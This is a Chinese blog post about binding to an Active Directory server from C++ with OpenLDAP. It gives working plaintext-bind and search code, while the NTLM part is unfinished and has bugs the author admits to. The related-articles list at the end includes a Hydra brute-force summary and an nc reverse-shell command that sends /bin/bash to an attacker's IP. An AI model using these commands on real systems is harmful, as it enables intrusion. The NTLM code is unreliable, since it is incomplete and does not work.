在Linux上通过NTLM认证连接到AD服务器(未完结)

这篇文章目前还没有实现具体的功能,只实现了明文登录,因为我缺少一些数据,比如通过密码生成hash,以及通过challenge生成response,我不知道怎么实现,因此这篇文章也是一个交流的文章,希望大佬看见提个建议,我在功能实现后也会补全该文章。

环境:1.服务器 windows server 2022 中文版 AD (推荐下载windows server 2012 R2)

           2.语言:C++

           3.实现流程中的API:依赖openldap 2.6库 

1.NTLM认证是什么?流程是什么?AD服务器是什么?

在这里我不过多述说,推荐还不懂的浏览以下文章,搞懂NTLM流程

http://t.csdnimg.cn/MF2DT

2.通过LDAP连接到AD服务器

2.1:创建LDAP句柄指针

        之后所有的操作都是基于LDAP指针进行操作,例如增删改查AD服务的数据

//ldap是自定义的,uri是string类型的IP地址,端口AD都默认为389 ldap://<IP>:389
LDAP *ldap;
std::string uri = "ldap://192.168.XXX.XXX:389";
int rc = ldap_initialize(&ldap, uri.c_str());
    if (rc != LDAP_SUCCESS)
    {
        std::cerr << "ldap_initialize failed: " << ldap_err2string(rc) << std::endl;
        return rc;
    }

2.2: 协商ldap的版本

//这些都是固定参数,当然你也可用不协商使用ldap版本,亲测明文登录依旧可以增删改查
int version = LDAP_VERSION3
rc = ldap_set_option(ldap, LDAP_OPT_PROTOCOL_VERSION, &version);
    if (rc != LDAP_SUCCESS)
    {
        std::cerr << "ldap_set_option failed: " << ldap_err2string(rc) << std::endl;
        return rc;
    }

2.3协商使用NTLM认证,明文登录不需要做

// 3.设置认证方式为NTLM,我不知道这是否有效,但是服务器却没有拒绝我
    int option = LDAP_OPT_X_SASL_MECH;
    const char *mech = "NTLM";
    rc = ldap_set_option(ldap, option, mech);
    if (rc = LDAP_OPT_SUCCESS)
    {
        std::cerr << "Failed to set NTLM authentication mechanism: " << std::endl;
        return 1;
    }

2.4进行绑定

2.4.1使用明文进行绑定登录,这非常不安全,通过抓包工具能直接获取到用户的密码

       

//这是一个同步函数,阻塞等待结果
if ((res = ldap_sasl_bind_s(ldap,
                                    _dn.c_str(),
                                    LDAP_SASL_SIMPLE,
                                    _cred.c_str(),
                                    NULL, NULL, NULL)) != LDAP_SUCCESS)
        {
            printf("LDAP BIND FAIL %d:%s\n", res, ldap_err2string(res));
        }

        参数ldap:上面初始化的ldap句柄指针

        参数_dn:    std::string _dn = "CN=Administrator,CN=Users,DC=test,DC=org";    "CN=<登录的账户名>,CN=<账户所在的组>,DC=<域名前半段>,DC=<域名后半段>"。账户所在

         LDAP_SASL_SIMPLE:进行简单绑定认证

        _cred:  std::string bind_password = "xxxxxxxx";   密码

        后面的3个参数不用管,涉及了更复杂的操作,填写完这些参数,应该就能正常绑定上了

 2.4.2 使用NTLM进行认证绑定,抓包工具能抓不到密码,因为全程没有明文密码的交流,这是我问题所在,两天了一点头绪没有,愁死

  1.根据NTLM的流程,首先要发送账户名和hash来换取challenge响应。但是我不知道如何通过自己的密码生成hash,ldap库也没有这个功能函数(或许是我自己没查到),从第三个参数能看出来这是一个请求。这里的cred包含的不应是密码,而是hash

struct berval cred;
    cred.bv_val = (char *)bind_password.c_str();
    cred.bv_len = bind_password.length();
    // 第一次的第4个参数应该是一个加密hash,如何得到呢
    rc = ldap_ntlm_bind(ldap, bind_dn.c_str(), LDAP_AUTH_NTLM_REQUEST, &cred, nullptr, nullptr, &msgid_int); // 用您的用户名和密码替换NULL参数
    if (rc != LDAP_SUCCESS)
    {
        printf("Error binding to LDAP server with NTLM authentication: %s", ldap_err2string(rc));
        exit(1);
    }

2.因为ldap_ntlm_bind是一个异步函数,要使用ldap_result来获取响应以及运行的结果,响应存放在res中,两者通过msgid_int这个参数进行联系


  rc = ldap_result(ldap, msgid_int, 0, nullptr, &res);
    if (rc != LDAP_SUCCESS)
    {
        printf("ldap_result error\n: %s", ldap_err2string(rc));
        exit(1);
    }

3.使用ldap_parse_ntlm_bindresult解析出challenge,存放在challenge中

// 通过解析结果获得challenge
    rc = ldap_parse_ntlm_bind_result(ldap, res, &challenge);
    if (rc != LDAP_SUCCESS)
    {
        printf("ldap_parse_ntlm_bind_result: %s", ldap_err2string(rc));
        exit(1);
    } 

4.再次调用ldap_ntlm_bin函数向服务器发送通过challenge加密的response,如果与服务器信息对上,那么绑定应该就能成功,与第一个绑定函数的区别在于第三个参数,这里可用看见后缀为RESPONSE,我这里填写challenge是错的,因为我也不知道如通过密码散列将challenge转化为response。

// 这个地方发送的应该是reponse,如何通过密码散列加密challenge,得到reponse呢
    rc = ldap_ntlm_bind(ldap, bind_dn.c_str(), LDAP_AUTH_NTLM_RESPONSE, &challenge, nullptr, nullptr, &msgid_int); // 用您的用户名和密码替换NULL参数
    if (rc != LDAP_SUCCESS)
    {
        printf("Error binding to LDAP server with NTLM authentication: %s", ldap_err2string(rc));
        exit(1);
    }

到这里,NTLM如果绑定成功应该就已经结束了,可惜本人才疏学浅,实在不知道如何将passwd生成AD识别的hash,以及将challenge转化为response。国内资料真的寥寥无几,我现在完全没有了研究的方向。希望有大佬看见,能够指定一二,一个星期没有看见自己的进步压力有点大

2.5 通过LDAP句柄指针进行搜索,这里我先简单列一下函数,因为篇幅太长,等后面我会补上,主要时间太紧了,周末就加上详细数据。

1.ldap_search_ext_s:能够搜索指定的属性,例如搜索电话等,并返回结果

2.ldap_first_entry,ldap_next_entry;  两个函数共同作用,遍历结果搜索条目,

3.ldap_first_attributem,ldap_next_attribute ;两个函数共同作用,遍历条目搜索属性

最后只需要判断这个属性是不是你所需要的属性即可。

附上搜索mail例子一份,可自行查看

std::string getEmail(ADServer &server)
    {
        LDAPMessage *result, *entry;
        char *attrs[] = {"mail", NULL};
        // 1.函数能够所搜索你需要查找的信息。LDAP句柄指针,搜索DN(你开始搜索的地方)
        int rc = ldap_search_ext_s(server.getld(), _dn, LDAP_SCOPE_SUBTREE, "(objectClass=*)", attrs, 0, NULL, NULL, NULL, 1000, &result);

        if (rc != LDAP_SUCCESS)
        {
            printf("LDAP SEARCH FAIL %d:%s\n", rc, ldap_err2string(rc));
            return "";
        }

        std::string email;
        for (entry = ldap_first_entry(server.getld(), result); entry != NULL; entry = ldap_next_entry(server.getld(), entry))
        {
            BerElement *ber = NULL;
            char *attr;

            for (attr = ldap_first_attribute(server.getld(), entry, &ber); attr != NULL; attr = ldap_next_attribute(server.getld(), entry, ber))
            {
                if (std::string(attr) == "mail")
                {
                    struct berval **vals = ldap_get_values_len(server.getld(), entry, attr);

                    if (vals != NULL)
                    {
                        email = std::string(vals[0]->bv_val, vals[0]->bv_len); // Assuming there's only one value for "mail"
                        ldap_value_free_len(vals);
                    }
                }

                ldap_memfree(attr);
            }

            if (ber != NULL)
            {
                ber_free(ber, 0);
            }
        }

        ldap_msgfree(result);

        return email;
    }

3.参考资料推荐

https://www.openldap.org/software/man.cgi  这是openldap官网,在搜索栏里man一下ldap,就能看到很多的ldap API,同时注意很多API在v3版本已经被禁用。

4.结言 

希望有这方面经验的大佬指定一下,因为代码资料几乎没有,以上全是我摸爬滚打出来的,明文实测可以运行。真期待自己NTLM认证成功的那一天。我也不知道为什么老板要用C++写,听说C#全是封装好的接口,传递一个账户,密码就能通过kerberos,NTLM认证,哎。

如果需要环境搭建的,可以说一下,我周末也写一写。

最后本人应届毕业生菜鸡一个,文章错误很多,仅记录,或许还能逗你一乐

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/113321.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Hydra(九头蛇海德拉)教程

Hydra 参数 hydra <参数> <IP地址> <服务名> 参数案例说明-l-l root登录账号-L-L userName.txt用户文件-p-l 123456登录密码-P-P passwd.txt密码文件-e-e nsrn 空密码 s 用户名即密码 r 用户名和密码相反&#xff08;如root的密码为toor&#xff09;-s-s 21指…

人工智能基础_机器学习011_梯度下降概念_梯度下降步骤_函数与导函数求解最优解---人工智能工作笔记0051

然后我们来看一下梯度下降,这里先看一个叫 无约束最优化问题,,值得是从一个问题的所有可能的备选方案中选最优的方案, 我们的知道,我们的正态分布这里,正规的一个正态分布,还有我们的正规方程,他的这个x,是正规的,比如上面画的这个曲线,他的这个x,就是大于0的对吧,而现实生活…

QT基础学习笔记

文章目录 1 概述1.1 优点1.2 QT成功使用案例1.3 安装教程1.3.1 在线安装流程1.3.2 离线安装流程 2 创建工程2.1 快捷键2.1.1 常用快捷键2.1.2 修改快捷键 2.2 proj文件 3 对象树4 信号和槽4.1 自定义信号和槽4.1.1 信号连接信号4.1.2 一个信号连接多个槽函数4.1.3 多个信号连接…

Jenkins中解决下载maven包巨慢的问题

背景介绍 我们在使用jenkins构建maven项目时由于依赖很多第三方jar包&#xff0c;默认会从maven中央仓库下载&#xff0c;由于maven中央仓库服务器是国外的&#xff0c;所以下载很慢&#xff0c;甚至会超时 解决办法 增加jenkins maven 源配置 如下图所示&#xff0c;增加m…

vue el-table-column 修改一整列的背景颜色

目录 修改表头以及一整列数据的背景颜色&#xff0c;效果如下&#xff1a; 总结 修改表头以及一整列数据的背景颜色&#xff0c;效果如下&#xff1a; 修改表头背景颜色&#xff1a;在el-table绑定header-cell-style 修改一整列的数据背景颜色&#xff1a;在el-table绑定:cel…

数据结构(四)--队列及面试常考的算法

一、队列介绍 1、定义 与栈相似&#xff0c;队列是另一种顺序存储元素的线性数据结构。栈与队列的最大差别在于栈是LIFO&#xff08;后进先出&#xff09;&#xff0c;而队列是FIFO&#xff0c;即先进先出。 2、优缺点及使用场景 优点&#xff1a;先进先出&#xff08;FIFO&…

Qt PingFang字体在Debian/Ubuntu上安装

1 下载ttf格式的字体库 2 将上图中的ttf文件拷贝到/usr/share/fonts/truetype 3 执行 fc-cache -f -v 4 如果qt程序字体效果未显示&#xff0c;可能与qt的字体路径有关 我这边是这样修改的&#xff1a;

CSS3中的字体和文本样式

CSS3优化了CSS 2.1的字体和文本属性&#xff0c;同时新增了各种文字特效&#xff0c;使网页文字更具表现力和感染力&#xff0c;丰富了网页设计效果&#xff0c;如自定义字体类型、更多的色彩模式、文本阴影、生态生成内容、各种特殊值、函数等。 1、字体样式 字体样式包括类…

生成独立运行的QT程序

前言 使用windeployqt程序生成独立运行的QT程序。 方法 1.在QT Creator使用release构建运行一下代码&#xff0c;不使用debug模式&#xff0c;将release文件夹中生成的***.exe文件复制到一个新的文件夹下。 2.打开 Qt 5.14.2(MinGW 7.3.0 64-bit) 进入exe文件所在的目录执…

2023年11月2日历史上的今天大事件早读

1082年11月02日宋徽宗出生 1861年11月02日辛酉政变 1910年11月02日中国社会学家和人类学家费孝通诞生 1910年11月02日畜生态学科的创始人汤逸人诞生 1917年11月02日《贝尔福宣言》和犹太复国主义 1917年11月02日美日订立“兰辛—石井协定”损害中国利益 1937年11月02日忻…

2022最新版-李宏毅机器学习深度学习课程-P26 自注意力机制

一、应用情境 输入任意长度个向量进行处理。 从输入看 文字处理&#xff08;自然语言处理&#xff09; 将word表示为向量 one-hotword-embedding声音信号处理 每个时间窗口&#xff08;Window, 25ms&#xff09;视为帧&#xff08;Frame&#xff09;,视为向量图 每个节点视为…

Spring Cloud的ElasticSearch的进阶学习

目录 数据聚合 Bucket示例 Metric示例 RestAPI实现聚合 自动补全 使用拼音分词 自定义分词器 实现自动补全 RestAPI实现自动补全功能 数据同步 同步调用 异步通知 监听binlog 数据聚合 聚合可以实现对文档数据的统计、分析、运算。聚合常见的有三类&#xff1a; …

[极客大挑战 2019]LoveSQL 1

题目环境&#xff1a;判断注入类型是否为数字型注入 admin 1 回显结果 否 是否为字符型注入 admin 1 回显结果 是 使用堆叠注入 采用密码参数进行注入 爆数据库1; show database();#回显结果 这里猜测注入语句某字段被过滤&#xff0c;或者是’;被过滤导致不能堆叠注入 爆字段数…

分析报告有样板了-奥威BI数据可视化报表模板

述职报告、月度数据分析报告、季度数据分析报告、区域数据分析报告……人在职场&#xff0c;数据分析报告少不了。那么&#xff0c;怎么才能在极短的时间内做出一张既好看又突出重点、分析逻辑在线的数据可视化分析报表&#xff1f;奥威BI软件的建议是采用BI数据可视化报表模板…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

opencv官网文档学习

文章最后有一些图片资源 1.图像处理基本使用 import cv2# 读取图像 image cv2.imread("images/1.png", cv2.IMREAD_GRAYSCALE) print("image:",image)# 显示图像 namedWindow cv2.namedWindow("images/1.png") cv2.imshow("images/1.pn…

Zotero 超好用插件的下载链接及配置方法(PDF-translate/ZotFile/茉莉花/Zotero Scihub)

目录 前言插件安装方法插件一&#xff1a;文献翻译插件&#xff08;pdf-translate&#xff09;插件二&#xff1a;文献附件管理&#xff08;ZotFile&#xff09;插件三&#xff1a;中文文献插件&#xff08;茉莉花&#xff09;插件四&#xff1a;Sci-Hub 自动下载文献&#xff…

学习使用php实现汉字验证码

学习使用php实现汉字验证码 <?php //开启session &#xff0c;方便验证 session_start(); //创建背景画布 $image imagecreatetruecolor(200, 60); $background imagecolorallocate($image, 255, 255, 255); imagefill($image, 0, 0, $background);//创建背景画布 for ($…

Mac-Java开发环境安装(JDK和Maven)

JDK安装 1、访问oracle官网&#xff0c;下载jdk 点击下载链接&#xff1a;https://www.oracle.com/java/technologies/downloads/#java11-mac 选择Mac版本&#xff0c;下载dmg 打勾点击下载&#xff0c;跳转登陆&#xff0c;没有就注册&#xff0c;输入账号密码即可下载成功…

Ubuntu20.04操作系统安装及重中之重:系统分区

最近因为学习原因&#xff0c;需要将电脑设置为双系统&#xff0c;在windows10的系统下去安装Ubuntu操作系统。本来看网上相关的安装教程蛮多的&#xff0c;以为比较简单&#xff0c;结果一路过五关斩六将&#xff0c;坑的七零八落的&#xff0c;折腾了好久&#xff0c;才算安装…
最新文章